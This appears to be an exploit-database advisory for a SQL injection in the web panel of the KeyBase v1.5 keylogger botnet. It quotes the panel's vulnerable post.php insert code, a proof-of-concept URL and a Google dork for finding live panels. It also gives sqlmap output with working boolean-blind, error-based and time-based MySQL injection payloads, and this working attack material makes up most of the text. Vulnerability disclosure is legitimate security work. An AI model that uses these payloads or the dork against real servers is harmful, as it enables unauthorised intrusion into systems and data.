KeyBase Botnet 1.5 - SQL Injection

################################
# Exploit Title: KeyBase Botnet v1.5 - SQL Injection Vulnerability
# Google Dork: intitle:"KeyBase: Login" + intext:"( Login to get access to your logs )"
# Date: 3/12/2018
# Exploit Author: n4pst3r
# Vendor Homepage: unkn0wn
# Software Link: unkn0wn
# Version: v1.5
# Tested on: Windows 10, debian 7
# CVE : n/a
################################
# Vuln-Code: post.php - variant "keystrokes, passwords, clipboard" & "machinename, machinetime"
if ($_GET['type'] == 'keystrokes')
{
$sqlk = "CREATE TABLE if not exists Keystrokes (id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY, machinename VARCHAR(255) NOT NULL, windowtitle VARCHAR(255) NOT NULL,
keystrokestyped VARCHAR(255), machinetime VARCHAR(255) NOT NULL, ipaddress VARCHAR(255) NOT NULL, date TIMESTAMP)";

if ($conn->query($sqlk) === TRUE) {
    $sqlinsertk ="INSERT INTO Keystrokes (id, machinename, windowtitle, keystrokestyped, machinetime, ipaddress, date) VALUES (NULL, '$machinename', '$windowtitle', '$keystrokestyped', '$machinetime', '$ipaddress', '$date')"; 

    if ($conn->query($sqlinsertk) === TRUE) {
       echo "<br>Success";
}else{
echo "<br>Error:" . $conn->error;
} } else {
    echo "<br>Error:" . $conn->error;
}
################################
PoC:

http://127.0.0.1/post.php?type=keystrokes&machinename=[SQLi]1&machinetime=[SQLi]

################################
Response: 

GET parameter 'machinename' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 410 HTTP(s) requests:
---
Parameter: machinename (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: type=keystrokes&machinename=1' RLIKE (SELECT (CASE WHEN (6432=6432) THEN 1 ELSE 0x28 END)) AND 'CbAF'='CbAF&machinetime=1

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: type=keystrokes&machinename=1' AND (SELECT 9909 FROM(SELECT COUNT(*),CONCAT(0x717a7a6b71,(SELECT (ELT(9909=9909,1))),0x716a786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'gwid'='gwid&machinetime=1

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: type=keystrokes&machinename=1' AND SLEEP(5) AND 'MWry'='MWry&machinetime=1